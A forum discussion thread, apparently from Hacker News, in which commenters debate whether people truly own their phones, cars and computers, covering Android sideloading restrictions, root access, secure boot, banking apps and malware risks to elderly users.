You can still find banks that have physical buildings for retail customers as well as online portals to login and manage your account. Mobile apps aren't absolutely a must.
You can also hunt your food and use candles to produce light, but can you realistically do that?
Am I the only one that found that to be a reasonable edge case?
The seat heating was apparently shortening the life of the leather seats. Its cheaper to include heated seats in all cars, than it is to maintain 2 different sets of production. The subscription basically offsets the cost of needing to replace the seats more frequently when the heating is enabled.
Likewise, if you manually enabled the seat heaters, then complained that the seats were falling apart quickly, having given you a legal out to get that feature enabled in warranty, would not have to replace your seats for free.
Not to mention, they apparently already ditched the subscription over backlash.
> The subscription basically offsets the cost of needing to replace the seats more frequently when the heating is enabled
I never heard of car-manufacturers periodically replacing seats within warranty because of the wear of the material, regardless of being "more frequently" or not. This sounds like a massive oversight in product-design.
Of all the cases I know, the customer had to bear the cost of such "wear and tear" cases.
That tracks. Dodge seats from the 90s and early 00s were absolutely terrible. I swear half of them came from the factory torn on the outside of the drivers seat just from the delivery driver getting in to drop the truck off at the dealership.
How about automated high/low beam switching or enabling the nominal power of your car instead of handicapping it by default?
If you agree that above are edge cases too, I have a Volkswagen to sell you [0].
[0]: https://www.youtube.com/watch?v=dQNeIcQXy74
>How about automated high/low beam switching
I would want the ability to change that. I actually think I can mess with that on my car.
>enabling the nominal power of your car instead of handicapping it by default?
Big topic for me. My car has a DPF, and appears to have been geared such that despite containing an automatic DPF burn process, the engine never quite reaches the required temperature, so I need to perform manual burns.
I have straight up asked the dealer for a method to enable the auto burn process, manually. And have asked if theres a retune available, to make the gearing just a little bit less efficient, giving me more power and more engine heat.
The issue, pretty much verbatim from their head regional diesel mechanic is that any modifications of that nature would fuck the emissions standards they had to limbo under. So its categorically denied. They also issued me with stern official warnings that anything I do to make the car more reliable may also void my warranty. And the unofficial advice I have received is that the DPF is "f*cked mate" and to "get the petrol hybrid before the government forces it to wear a similar PPF"
The car also very suspiciously moderates the engine output unrelated to gearing/tune. Just sometimes underperforms at random. I believe its computational again, like you say, handicapping it for emissions reasons.
These things are largely optional for me, but I wont mess with them too much until I am out of warranty.
> I would want the ability to change that. I actually think I can mess with that on my car.
Yes, generally you can disable on demand, but Volkswagen now sells the feature as a subscription. So you need to pay to enable. Maybe this is because it reduces the lifespan of the LEDs. Who knows.
> handicapping it for emissions reasons.
Volkswagen sells you another subscription for that now, at least for their electric vehicles. You can buy the option if you want your EV to perform as it's designed.
Emissions is a completely different beast. However their 140HP and 170HP TFSI engines had no different parts rather than the mapping.
Manipulating engines in a way which alters their carbon footprint is a sensitive topic, and while I was positive towards diesel systems, the particulate matter they emit, the fog they cause (see Paris photos, it's eye opening) and German engineering at its finest (i.e. Dieselgate scandal) soured me from diesel's automotive applications, big time, permanently.
> Volkswagen sells you another subscription for that now, at least for their electric vehicles. You can buy the option if you want your EV to perform as it's designed.
You can also buy "for life" subscription (around £600, if I remember the news about it correctly), so you could also say that the stronger engine costs 600 pounds more when you purchase the car. Not too different to buying the cars in the past: more powerful engine adds to the price tag.
Instead, you can sell the cars at increased (nominal, actually) power and remove the lower tier altogether while keeping the cost savings of removing another production line and logistics for the lower powered motor. Moreover you can allow users to have a choice of power from get go (i.e. Reduce to 150KW for more range). It's a couple of variables at most. Will changing the variables too much will wear down storage that faster?
Same is true for the internal combustion engines. Since they already developed the ability to store multiple maps and change the mapping when required. :)
But, where's the value in that, I mean for shareholders, innit?
FWIW, the traditional engineering argument in this case is:
By selling the same hardware with multiple tiers of functionality artificially locked behind increased prices, it becomes profitable to develop and manufacture products that would otherwise not make economic sense. This occurs when there aren't enough potential buyers of the full-featured version at a price that makes the full-featured version on its own profitable, but the sum of all customers at all price/functionality tiers is profitable. i.e. this model results in products that would otherwise not exist.
I have mixed feelings about that argument. The main one being that it's not much of a stretch to go from that to "the full-featured version sold at price X would be profitable, but because most customers are willing do do without the higher tiers of functionality, we can make even more money by selling a reduced-functionality version at price X, and charge a premium for the extra features", and it sure seems like that's what a lot of American businesses do. But I assume at least some of the time, it really is the former and not the latter.
In a legal sense, yes. In a practical and technical sense, no.
Ok, let's say you own an iPhone. Please try install alternative OS on your iPhone, if you succeed, you own your phone.
The contention point will be whether you purchased the device or not.
This is a ridiculous take.
The thing is most people do not want to mess with computers. They are terrified they are going to break them. Frankly they are not wrong. I spent yesterday just trying to get a div tag to flow correctly with all the objects around it, a whole day down the drain. I have a pretty good idea what I am doing. However, for others these things we call computers are inscrutable devices that just 'decide' to do something wrong. We have built this https://xkcd.com/2347/ and expect everyone to be cool with it. Most people most certainly are not, and are willing to give away whatever just to make it easier to use, and not randomly screw up. Apple and Google can take whatever they gave away now because well most people really do not care. The rest of us can pound sand for all they care. We effectively have a duopoly and they are acting exactly in the manor of that.
Also add "the right to maintain". Too many Android devices have drivers hidden behind kernel forks that will never be updated.
I'd love to install OpenWRT on my portable 5g modem currently running Android - . but I can't and likely never will. Same for my IoT automated blinds
Reminds of RMS's The Right To Read - http://mat.puc-rio.br/~nicolau/stallmann/tycho10h.html
Computing devices hardware and operating systems should be treated as essential digital infrastructure, with laws in place to ensure that the owner of the device retains full control over it and to prevent manufacturers or developers from over-imposing their control.
Computing devices hardware and operating systems should be treated as a consumer's choice.
If a company offers some benefit at the cost of some restriction, then users should decide if that benefit is worth the cost. For most Android users, it will be - my grandma isn't interested in the freedom of indie devs to develop for her phone, she's interested in not accidentally installing malware.
I don't like that as much as you don't - for my own devices. But like anyone else who cares about that, I can root it and get past the digital nanny state.
I would agree of there was a choice or actual free market. But there isn't, and your argument is fundamentally flawed. Because there often is no actual choice, the options are artificially restricted. Starting with, many phones cannot be rooted. Then, if you can root, multiple functions are suddenly unavailable, not because of a fundamental technical problem, but because Google, the phone OEM or the app dev decided to not give you the options you wanted.
If you treat it as a consumer choice, there's a rather uncomfortable marketing question - "What, precisely, is the value proposition of a locked down Android device?"
A few years ago "A smartphone so intuitive that grandma can understand it." used to literally be one of the arguments cited for picking iOS over Android. The UX is far more polished and you are far more likely to find an interesting iOS-exclusive app than an Android-exclusive.
Further, as a hardware manufacturer, Apple is far more likely to manage its walled garden in the consumer's interest, as compared to Google - an advertising company.
If Android gets locked up, all the high-end Android manufacturers, especially Samsung, are going to face a slow, but inevitable death.
The Play Store doesn’t protect your grandma from installing malware. Using that as an excuse for transferring control is weak and carries much bigger consequences.
Owner having full control over the device does not prevent a company to offer same benefits and restrictions. But these restrictions need to be optional, so the owner can decide whether to enable or disable them.
Root access on your phone isn't enough: there's layers below root.
I accidentally read this as "there's lawyers below root" and I'm not sure I'm wrong.
It's lawyers all the way down :)
No matter what runlevel you’re on, judges are lower still.
https://en.wikipedia.org/wiki/Runlevel
Yep. I don't need/want root access, as it is too much of a security risk IMO. But of course the possibility to install a `su` binary should be there.
I primarily want to be able to unlock the bootloader to install a custom de-googled Android Version (such as GrapheneOS) and then lock the bootloader again (using a custom_avb_key). This is currently possible with Google's Pixel devices, but most Android devices don't even offer this...
This. But being able to get root is a very good starting point.
There is no chance that we own our computers unless we figure out how to setup chip manufacturing factories at the 10 million dollar price point.
Without commoditized hardware, big capital will surely be in control of software.
I think there is also still room to legally require a common SW-layer with respective documentation to utilize features of underlying hardware (optional without the shipped OS on top, disconnecting the device from the shipped ecosystem).
This would also make sense in order to prevent e-waste and put this old hardware to better use.
It's crazy to think how much computing power is just added to a drawer or landfill every day, just because there is no reason for the vendor to allow you to repurpose it.
I would e.g. LOVE a "Browser on everything" OS which just provides a Browser OS for outdated hardware, but the only way this could work on scale would be if the device-vendor would be mandated to provide and document the lower layer...
I can buy a computer, disable secure boot, install linux and then do w/e I want.
Same can be true for phones?
But I want" secure boot. It makes me* safer.
For the same reason I relock bootloader after flashing alternative Android flavour on my phone.
You didn't write the code for the bios, nor could you.
There's always a degree to which the manufacturer has to.
What about Coreboot/Libreboot?
https://www.coreboot.org/
https://libreboot.org/
Even with Coreboot on anything vaguely modern, there is a 'Management Engine' or 'Platform Security Processor' you can't practically control. On the better understood Intel versions, this is running a full MINIX 3 operating system and controls the network card in ways the BIOS and operating system root cannot monitor. It runs a significant amount of code; with hardware obfuscation that has not yet been broken.
You are right of course, but I consider that a hardware concern, not BIOS.
Sorry, no banking for you then.
No traditional banking at your parts? Actually I am informed those at your site can provide more services (more open) than the banks I have around now.
But here, no, only some bad players require a smartphone and an account to OS providers to make the bank account work.
I'm holding on to my rolling token generator like it is made of gold, they won't give me another one and force me to use their app. But the app requires a non-rooted phone or it will refuse to function. I've already asked them to give me a free phone just like they gave me a free token generator. So far no dice. Oh, and better still, for large transactions you are not allowed to use the phone app.
> I've already asked them to give me a free phone just like they gave me a free token generator
It's not a matter of free, it's a matter of "certified": they make you use third party devices, but if anything happens they may make it your fault on the legal side. If a device is part of the banking agreement, the device must come from the bank and the responsibility must rely entirely on the bank.
> app
In all of this: how can it be remotely possible to think that in order to get a critical service - accessing your money - one could be supposed to have a contract with some remote alien party (the "App Store")? Because I am guessing your bank does not directly give you the "app". Already this makes me wonder about how the population can be blind to unbelievable levels to the systemic insanity.
Some of them do not require any smartphone - but some of them require that you make a contract with an uncontrolled firm on a different continent to have a money deposit account. And the amount of people who will go "are you mental?!" in front of them are presumably (evidently) negligible.
Good question, I am not able to answer it though. But you are right, it makes no sense at all.
Pretty sure this would boost fintech/blockchain apps even more vs. using banks directly, if it ever happened.
Even now, I don't really use a bank app for 90% of my needs.
This is something the folks in the Permacomputing space have been discussing on and off for years.
Maybe we can make chips at the level of a 386 but they would be freedom respecting.
Starting to sound like Stallman again.
https://github.com/x653/xv6-riscv-fpga is a fully open RISC-V core, using fully open tools written to tiny FPGA. It betters 386 performance, is practical for an individual to recreate, and it is almost inconceivable that the underlying hardware could have compromised this usage. If your security posture cares about ME et al. you also shouldn't be running any form of speculation, so 'modern' performance would be off the table even if you bought Nvidia and TSMC. I would more judge a concerted effort comparable to larger open source projects could design verifiable hardware for processes that it readily available to crowdfunded projects that are more efficient and performant then anything released in the previous millennium.
We live in a world where the top chip makers are being shaken down by the US government to keep access to markets because embargoes and tariffs. And where software developers have to have a live feed of what every user is doing to Brussels or be arrested.
Too much capitalism isn't our problem.
> And where software developers have to have a live feed of what every user is doing to Brussels or be arrested.
Please elaborate, with sources.
Likely referring to EU Chat Control: https://brusselssignal.eu/2025/08/eu-chat-control-law-is-a-s...
So something that is not a thing yet, and is being actively campaigned against?
Yes, we normally act when the vehicle speeding towards us is seen far away already.
Most member states are for it.
Sounds like if US citizens hope for that, we can get it.
Conditioning such rights on the device being "owned outright" will just push the same bad actors to rent you the phones instead of buying them, the same as they did with software licenses. The only way to really fix it is to break up the wealth and power of individuals and corporations based on their total effective power, regardless of the source from which that power is derived.
>The only way to really fix it is to break up the wealth and power of individuals and corporations based on their total effective power
That simply transfers the power to the one doing the breakup, which in most cases, are the Governments, which are notoriously known to invade user's privacy under the guise of protection of children or whatever.
Corporations are also notorious for doing that, except with governments you can vote them out.
Tell that to all those assholes that are making malware and scamming society on billions.
Most of users are not able to keep themselves safe in the internet - they want to install all kind of crap without thinking too much.
All of this is companies making it possible that average Joe could just click links, install any kind of crap and still be somewhat secure.
This is not related to malware or scams, and using that is nothing but a PR smoke screen.
While Android is vulnerable, especially to user stupidity, people mostly get scammed by fake credit card charges or by giving access to their notifications and contacts allowing for spam.
And yes, while there are "infected" APK's for popular apps , this again isn't the case here.
The real case here is money.
Apple earns $27B from commision on apps, while Google earns about $3B. Why?
Because Android users are "less willing to pay", which includes pirated APK's and "unlocked" app versions. Eliminating the possibility of using these for 99% of the people will be enough to force them to pay for that app/service in the end, raising the Play store revenues.
Do not trust Google when it comes to "doing it for the user" - their mission is to establish as strong of a monopoly on the platforms and extract as much value as possible. They spent more money on lawyers & policy lobbyists in the last 10 years trying to keep Android closed than some S&P500 companies are worth.
Their incentive is even stronger: most users of ReVanced for example unlock YouTube, which belongs to Google. In that case we are talking about 100% revenue loss, not 30% app commission. This goes for NewPipe, etc.
I wonder if OsmAnd, Termux, F-Droid would survive this or will be casualties. Who will authenticate for a decentralized open source app that has 100 active contributors?
Exactly, especially when Google can revoke your account or keys at anytime.
Basically this give Google the way to blacklist any app you release now, in or out the play store for the sake of "security".
It's just about control and finally squashing the app that aren't to Google taste.
I can't image that ad blockers or ReVanced has any real impact on YouTube. I'm the only one I know using either. So that's 1 in about 300 maybe?
Locking down Chrome and killing ad blockers is not some huge effort, it's closer to the flick of a wrist. Neither is locking down android. They can just do it. And if they think there is nothing anybody can do about it, they will, to get that last 0.01%.
But no doubt they are under an enormous amount of pressure to do this from a variety of corporations and governments as well.
Well of course they are not "doing it for the user" but that would be a different discussion if scams and malware were out of the picture.
Doesn't this kill two birds with one stone?
Forcing users to pay for apps rather than install pirated APK's and unlocked apps both raises Google's revenue and reduces the risks of malware and scams.
The consequence is naturally, the savvy users who know how to avoid risks lose the ability to have more control over their phone.
This assumes that Google actually does reduce malware and scams within their garden, but they do not. They are just as prevalent (perhaps more so) within the apps that Google certifies.
So the only thing it kills is the risks to Google's revenue, not the risks to users' security.
My opinion on this changed as we helped elderly parents with declining capabilities. The internet is an extremely dangerous place for those less cognitively able.
It is extremely hard to live without the internet - it's almost impossible - everything from your bank to your doctor to restaurants to the barber that wants to be paid by Venmo. Taking away your parent's internet connection is even harder than taking away their driver license. (And also more isolating.)
There is no law enforcement; there's no consequence for scammers; there's no technology stack that is safe for the less able. It's a brutal Wild West where the weakest are attacked without recourse, flooded with misinformation and lies, and targeted by significant financial scams.
Okay and how does play protect and play integrity prevent this? Anyone?
Hint: it does not. Look around the play store, it's 80% malware and scams.
Why is this the case? Because it has to be or Google goes bankrupt. Google is an inherently parasidic company. They make their money off of advertisement, scams, and conjobs. The more shit the digital world is for you, the better for them. You will always have an adversarial relationship with Google.
They don't want ads that don't lie. They don't want apps that are honest. They don't want to limit notifications. They don't want to get rid of email spam.
The reason Apple devices are so much more pleasant for everyday use and there's so much less scams and adware isn't because Apple is a saint. Its because ultimately Apple doesn't give much of a fuck if they screw over con artist, because that's not the thing keeping them from bankruptcy.
Thank you! Apple is just as evil as the next company. The difference is in how they make their money and what their incentives are.
Google has chosen the path of duping their customers by selling them to the highest bidder. That's their business model across the board.
Apple has chosen to sell devices at a significant markup with the inherent agreement that they won't sell their customer to the highest bidder. After building trust in that arena for years, it wouldn't take much to destroy that credibility. So far, they know this. I'm getting concerned about them starting to plug ads into their core applications, so only time will tell if they get MBA'd to shit.
Yes, but this doesn't do absolutely anything to prevent this.
I've helped elderly family members and non-techie ones who barely know how to open a facebook account - none of them had "malware apps" installed. Their problems were mostly these:
- Websites asking for notification permission just to spam with unrelated malware or porn notifications
- Their calendars being filled with events that are nothing but links to porn or gambling sites, leading to constant notifications
- Apps that don't work yet are filled with ads - blood pressure meter on your phone, sugar level measurements, step trackers - filled with ads and trying to get 1000$ purchases
- An app actually being a launcher filling your screen with ads.
- Hell, even I, as someone who has deep intimate knowledge of Google Play Billing, got scammed by an app when upgrading from their weekly to their monthly offer, with them now charging both.
Google can intervene at any point here, they have reviewers, they control the store, they control the browser, hell, they basically control the device. And they have rules and policies for it, but it's convenient for them to ignore it. They have their cash cows and will fight tooth and nail to protect them as long as it makes them profit.
> Websites asking for notification permission just to spam with unrelated malware or porn notifications
People have been giving Apple shit forever for not supporting this "web standard" in Safari, but it's 99% used nefariously for this exact purpose. Websites should not be able to send push notifications.
I do not want websites to have equal capabilities to apps. Installing an app on my device is a very purposeful decision I make that I only do if I'm trusting it and willing to manage its permissions. Visiting a website is not.
I set my parents up with a computer and locked it down nice and good. A few months later they called me asking me about this full screen message they couldn't figure out how to make go away that was demanding they call Apple or Google for tech support.
I was able to remote in and close it. Then I noticed the message saying uBlock Origin had been disabled in Chrome (because Google broke ad blocking).
Thanks Google.
I actually filed a complaint with the WA Attorney General over that. My older parents got hit by that exact process. So there’s at least a public record complaint that Google is now actively blocking cybersecurity technology (because that’s what adblocking software ultimately is).
Driving is also extremely dangerous for the less congnitive able, that doesn't mean that we should let BMW decide where and when you are allowed to drive.
We also don't trust old people to live on their own, that doesn't mean we force every adult into dormitories.
Driving is licensed and regulated by the government. Are you suggested internet licenses that required semi-regular tests and strict enforcement by governments?
Is driving regulated because drivers can seriously harm themselves, or is is because drivers can easily harm others?
Yes aaand yes.
Interesting choice to cherrypick and then straw man one part of one example. They didn't say the government should get to decide where someone drives; it was the OEM, BMW in their example. That is basically what Google is doing here by locking down a previously open-ish platform.
Having a license doesn't mean you are restricted in where you can go unless we start considering the fringes like provisional (learners') permits complete with curfew. Therefore, your example doesn't fit. But OP's does, because it is equivalent to asking "do you think your refrigerator should refuse to cool items manufactured by an entity it doesn't like... to Keep You Safe(tm)?" Maybe you buy from non-verified cottage industry workers at the local farmers market. People who maybe didn't upload their PII and licenses to the refrigerator manufacturer, so it refuses to operate until you remove the offending item. Out of the utmost respect for your safety, of course.
Imagine if Charter Communications/Spectrum decided to block you from using their service and modem/routers from accessing any media created by Universal (owned by their rival, Comcast). It doesn't really have anything to do with safety, but they could pearl clutch and blame it on some risqué content that Universal releases via its imprints.
Then maybe it should be more opt-in. We're losing settings and configurability as time goes on. And like encryption it can be a one way street, requiring a full reset to turn it off. That's open security. This is a cash grab
you're describing the dangers of the open internet, but this is about the dangers of non-app-store apps. android already makes it quite difficult to side-load non-app-store apps; certainly not something a tech-illiterate user could do by accident.
> Tell that to all those assholes that are making malware and scamming society on billions.
So like Google?
Software that acts against the wishes of the user is malware, let's not forget that.
Completely agree. We seem to have forgotten the word "spyware", I don't see it used anymore because it became the norm. But let's call things by what they are.
Exactly this; the vast majority of people cannot be trusted with root access. And for those that can, the majority won't need or want it.
While I do believe root access should be possible, it shouldn't be easy. Because I'm confident my dad who wants to pirate F1 instead of pay for whichever overpriced premium streaming platform bought the rights this year would root his ipad and install a dodgy stream player if it was easy.
My 75 year old mother has root access, and she is perfectly fine.
> Tell that to all those assholes that are making malware and scamming society on billions.
And then? I don't know how many times I've downloaded APKs, including obviously malicious ones by accident. But not once has it ever been installed - not even when it was deliberate. The only way I ever 'sideloaded' anything is using 3rd party stores (just fdroid and aurora in my case), which themselves had to be installed via ADB after enabling developer mode. If you have that much skill, you're almost surely skilled enough to understand the security implications of sideloading and choose wisely.
And there are far worse malware available on play store than anything on fdroid repositories, if anything at all - anonymous or not. I hope you remember the SimpleMobileApps fiasco. People who installed it from fdroid were safe from the malicious update, but those who did it from play store were not, when the entire suite was turned into a spyware overnight. Not to mention the tea and boxscore apps scandal. Neither would have made it into fdroid. Google cares the least bit about security, if that isn't clear from the spyware tht each new android phone comes bundled with.
In all, Google's claim of security here is deceptive and farcical. The actual target is going to be the patched apps like revanced, root access software and anything else similar that allows the savvy user to escape the unfair and arbitrary limitations imposed by Google. The ultimate target is the users' pockets. This entire discussion is full of people reaffirming that conclusion. But scapegoats will be found and sacrificed regardless. Let's just not for once. Google deserves the atmost and undiluted contempt and condemnation for their greed and their willingness to erode consumer rights that underlie such dishonestly worded hostile and unilateral decisions.
To install 3rd party APKs on Android involves deliberately removing some guard rails. You need to allow it in settings, you need to enable developer mode, you need to agree to each individual source as a trusted source. If people are still blaming malware on this, when malware exists in the actual Play store, then they're delusional.
Right now, the average Joe can't click a link and install a 3rd party app. Meanwhile, you can install malware from the actual authorised sources, or even just come across a vulnerablity in chrome.
Keeping your devices up to date with security patches will save orders of magnitude more people from malicious software than stopping 3rd party app installation.
I occasionally develop Android apps for myself (mostly out of curiosity and experimentation, but sometimes out of a need for some particular functionality). I'm not going to apply for some developer permit and verification just to do this. I may as well buy a damn iPhone.
> You need to allow it in settings, you need to enable developer mode, you need to agree to each individual source as a trusted source. If people are still blaming malware on this, when malware exists in the actual Play store, then they're delusional.
To be fair to the security folks at Google, people will follow these steps like clockwork. The only thing they care about is getting the app on their device.
The root cause of all of this: banking/finance/payment apps figure they can trust your device, because no one has regulated a universal trust root into existence. Google encouraged this with SafetyNet/Play Integrity, and convincing Visa/MasterCard that devices can be trusted for contactless payments.
Now there's one gaping hole left: you can still install unverified software from anywhere, and said software will use all tricks possible to convince users to grant accessibility permissions and give up the keys to the kingdom. There have been many attempts over the years to make this harder, but malicious apps are getting even more sophisticated, to the point of installing shortcuts to entire fake versions of your banking app on the home screen.
So Google is being pressured by governments and markets to make it harder to produce installable malware, when a better way to prevent malware while protecting user freedom is already here: passkeys. You cannot steal passkeys with a third-party app, no matter what tricks you try, because they are tied to domains and APK signatures. Stop trusting stealable credentials and you stop needing to trust the entire hardware and software stack behind the app calling your backend.
I think we should actively make the web more hostile again.
Google themselves promotes malware - take a look at the play store. Adware, adware, adware, name meant to confuse people, more adware, probably has a keyloggers, adware adware, probably steals your data, adware adware.
For fucks sake, Meta is at the point they're pulling malware tactics to sell ads.
Circumventing permissions for app to browser talking? Really? FOR ADS? Thats where we're at?
I'm over it. Anyone who thinks this has even the faintest thing to do with malware is legitimately delusional. Not misinformed, delusional.
Malware is not a huge problem that requires restructuring the entire ecosystem to be closed and authoritarian. Nobody I know has ever had problems with malware or scams on Android.
This has nothing to do with malware, and has everything to do with locking down the Android ecosystem to keep out competitors to Google's services.
Take away all these freedoms and users will still get scammed. It doesn't help and it's not the real point.
I know literally 0, 0 people who have installed malwares or had their smartphones hacked in their life times.
The very few I know that have had this happen where all computer users, and virtually all victims of social hacking such as "hey, I'm from IT department, sending you an email, could you please...". A friend of mine exposed sensible data of thousands of customers of her bank like this.
well, as someone working in a department that also has Fraud detection responsibilities, the amount of users that lose tons of money because of scam apps, spoofed apps, identity stealing apps, is big. Like insanely big. I am all for it that these apps get significantly harder for the average joe to install or run on their phones.
It's a considerable number well into the 8 figures $/year that we have to cover (Granted this number is not specifically smartphones, also includes desktops, but I know smartphones is the bigger piece nowadays.)
(insuring this is near impossible, there is always a large part risk we have to pay ourselves and cannot cede to a reinsurer)
The problem isn't play protect or whatever the fuck, because 80% of the play store is malware, adware, and spyware anyway.
The problem is actually Google and other big tech.
Let's consider: why are users installing so many apps?
Because, on desktop, this doesn't happen. We don't ask people to download and run an EXE to look at their friends funny cat photos. No, we open the web browser.
The reason we have so many apps on mobile is because we require the malware. Google requires the malware. We need to be able to run privileged and unsandboxed code on users devices and this is the world that Apple and Google have created.
Users shouldn't be fucking downloading apps for 90% of the stuff they do anyway - including the non malicious apps! But they do, because they have no choice.
Think about it. Provide a web interface and miss out on juicy spyware? Or install executables on your customers systems? Apps are far too enticing for big tech.
it's very common in india
… who know about it.
> scamming society on billions
so somehow my friends and family got hacked, lost money but don't know about it?
actually i know of one case where my mom got billed for airbnb even tho she didn't book the ticket but pretty sure I had her password in a text file so might've been me that got hacked on my PC.
Airbnb refunded her and then had no more issues. So 1 case in my entire life and it probably wasn't on a mobile device.
You can get hacked without losing money. If you devices gets used in a bot net, if your computer gets used to mine crypto, etc. Your work files gets stolen by hackers and sold to competitors in china, etc.
All those are things normal people wont notice.
> bot net
Fair enough, but besides mail spam which is filterable and DDos for which there are counter services, does it really impose that big of an issue to justify such a strict lockdown?
> mine crypto
Considering how little mining power mobile devices have and how anyone would figure out pretty fast there's a problem with heat / battery issues from it idk if that's really realistic these days. Hard to keep this one hidden while also profitable
> work files gets stolen
I think this has already been solved by corporations on PCs, there are already solutions for locking down a work issues laptop as for phone I think that's rarely an issue since people mostly use it for communications so probably rare for really sensitive info to be on there.
Overall those issues don't really hit me as that critical to impose such measures and there are ways to severely limit impact for people that care about security
> Considering how little mining power mobile devices have and how anyone would figure out pretty fast there's a problem with heat / battery issues from it idk if that's really realistic these days. Hard to keep this one hidden while also profitable
I mean, check out HiddenMiner, ADB.Miner, HummingBad, WireX…
I agree that this is an overreaction, but the problem is real, and the fact you don’t know anyone who knows they’ve had a malware infection doesn’t mean that that is reality.
You don't have to prevent root access. You just have to inform user of the risks, void warranties if you want but let users do whatever they want with the hardware that they own.
> "void warranties if you want "
Please don't push the Overton Window any further. Installing my own software on my own PC should never void the hardware vendor's warranty. That delegitimizes the core concept of a PC.
(A horrific possible dystopia just flashed through my mind: "I'd love to throw out Chrome and install Firefox so that I could block ads, but, the laptop is expensive, and I can't afford voiding the warranty". I bet Google would *love* that world. Or, a UK version: "I'd love to use a VPN, but, regulation banned them from the approved software markets, and anything else would permanently set the WARRANTY_VIOLATED flag in the TPM").
This is where it's heading, and I see this as the real driving force behind secure boot on x86_64.
It depends on what your software does; if it removes hardware protections then your warranty should be voided. Of course, those protections are either hardware or impossible to remove, like emergency cooling / lowering voltage when stuff overheats.
> You just have to inform user of the risks
Warnings aren't always enough, sometimes we have to lock people down and physically prevent them from harming themselves.
It's not always people being stupid. I recall reading an article by someone who got scammed who seemed generally quite knowledgeable about the type of scam he fell for. As he put it, he was tired, distracted, and caught at the right time.
Outside of that, a lot of the general public have a base assumption of "if the device lets me do it, it's not wrong," and just ignore the warnings. We get so many stupid pop-ups, seemingly silly warning signs (peanuts "may contain nuts") that it's easy to dismiss this as just one example of the nanny state gone mad.
Please read again the sentence you just typed.
> We have to lock people down and physically prevent them from harming themselves.
You can apply this argument to literally anything, and taken to its logical conclusion, this is exactly what will happen.
> sometimes we have to lock people down and physically prevent them from harming themselves
I highlighted the word you missed, deliberately in my opinion, as it completely changes the meaning to exclude your frankly idiotic assertion.
> sometimes we have to lock people down and physically prevent them from harming themselves
Seriously ill people as an exceptional last resort though, right? Or just everyone?
I’ll take a real world example where I watched someone start to climb over the side of a bridge. Luckily my words stopped him but I did consider whether I should pull him back and pin him to the ground for his own good.
Is your position that it would be better for his freedom for me to let him jump if I couldn’t dissuade him?
I would consider that an exceptional case for a person who is very unwell.
That said, I think suicide is a complicated case because some people want to be stopped, and some people will just try again the next night.
> sometimes we have to lock people down and physically prevent them from harming themselves
So where does my statement suggest we should make locking people up for their own good the norm?
I can come up with even more mundane examples of where we physically prevent people from harming themselves. High barriers to stop people getting into the tiger enclosure. If a member of staff saw someone dumb enough to try and climb in, rest assured they'd be physically dragged out for their own safety.
Or do you suggest we allow the general public to wander into the tiger exhibit to pet the animals? Personal freedom and all that.
Yes, I just want people to pet the tigers
Even if it's illegal? (like transmitting on forbidden frequencies)
It's not always the user who's installing software. Lots of people depend on other people to manage their devices. Manufacturers like the hardware they delivered to be trusted so users trust it regardless of who handled it.
I always hear as the excuse but it is ridiculous. If the user wants to transmit on "illegal" frequencies, all he has to do is to change the country setting in their Wi-Fi router, et voilà, illegal transmissions.
The entire Android OS has about as much access to radios than your average PC, if not less. In fact, even on recent android devices, wireless modems still tend to show up to the OS as serial devices speaking AT (hayes) (even if the underlying transport isn't, or even if the baseband is in the same chip). Getting them to transmit illegal frequencies is as much easy or hard as is getting a 4G USB adapter to do it.
At least in EU, transmitting is illegal, having hardware to transmit is not.
That's why people can buy TX/RX SDRs and Yaesu transceivers without a license.
AFAIK the radioamateur world, serious violations of frequency plans are rare and are usually quickly handled by regulators. OTOH, everyone is slightly illegal, e.g. transmitting encrypted texts or overpowering their rigs, but that's part of the fun.
And in some locations, quickly handled by the local amateur community, with foxhunts and community outreach to frequency violators - only getting regulators involved when just talking to the offenders fails.
> Even if it's illegal? (like transmitting on forbidden frequencies)
That's not relevant here. If frequencies are illegal, it should be impossible to program it in such a way. But even otherwise, it's the responsibility of the user to follow local laws. If I have a PTT phone, it's not legal for me to use forbidden frequencies just because it's possible. Why do these manufacturers care about what doesn't concern them when they violate even bigger laws all the time?
> It's not always the user who's installing software. Lots of people depend on other people to manage their devices.
That should be up to the user. Here we are talking about users who want to decide for themselves what their device does. You're talking as if giving the user that choice is the injustice. Nope. Taking away the choice is.
> Manufacturers like the hardware they delivered to be trusted so users trust it regardless of who handled it.
I see what you did here. But here is the thing. Securing a device is not antithetical to the user's freedom. That was what secure boot chain was originally supposed to accomplish until Microsoft managed to corrupt it into a tool for usurping control from the user.
Manufacturer trust is a farce. They should be deligating that trust to the user upon the sale of the device, through well proven concepts as explained above. They chose to distrust the user instead. Why? Greed!
> If frequencies are illegal, it should be impossible to program it in such a way.
You know there's a very fine line between hardware and software in this case so you're actually advocating for drm like control here.
> They should be deligating that trust to the user upon the sale of the device, through well proven concepts as explained above.
That same user who forgets passwords and recovery keys all the time and loses all access to documents when a device breaks? And you're presuming giving that kind of person who doesn't understand sh*t about backups, device security etc full access to their devices will not result in a lot of compromised devices?
I'm not sure manufacturers are the best party to trust but they have an interest in a secure reputation, which the majority of dumb users or eavesdropping governments do not have.
> They chose to distrust the user instead. Why? Greed!
There are more reasons to distrust the user. I don't buy greed is the only relevant one.
> so you're actually advocating for drm like control here.
Absolutely not. I'm saying that the hardware shouldn't have that capability at all in the first place. But whatever. Don't restrict it. Those functionalities are usually under the control of the kernel. If the user is smart enough to tinker with the subsystems at that level, they're also smart enough to deal with the consequences of its misuse. That isn't a good justification to just lock down devices like this. The harm that comes out of that is much worse than what anyone can do with an RF baseband chip.
> That same user who forgets passwords and recovery keys all the time and loses all access to documents when a device breaks? And you're presuming giving that kind of person who doesn't understand sh*t about backups, device security etc full access to their devices will not result in a lot of compromised devices?
Yeah, so? It's not like such a person is ever going to unlock a complex safety lock. Examples for that exist already. Who can sideload an app into a fresh Android device without enabling the developer mode and then installing the APK through ADB? Dumb users won't ever persist enough to reach there. To take it further, the user can be given the root key to the secure boot chain on a piece of paper with the explicit instruction to not share it with anyone or even use it if they don't know how to. Ordinary users can then go on about their day as if it is fully locked down. It's unfair to deny the control of the device to the smart user, when such a security is possible. The existence of a dumb user is not an excuse to lock out smart users.
> but they have an interest in a secure reputation, which the majority of dumb users or eavesdropping governments do not have.
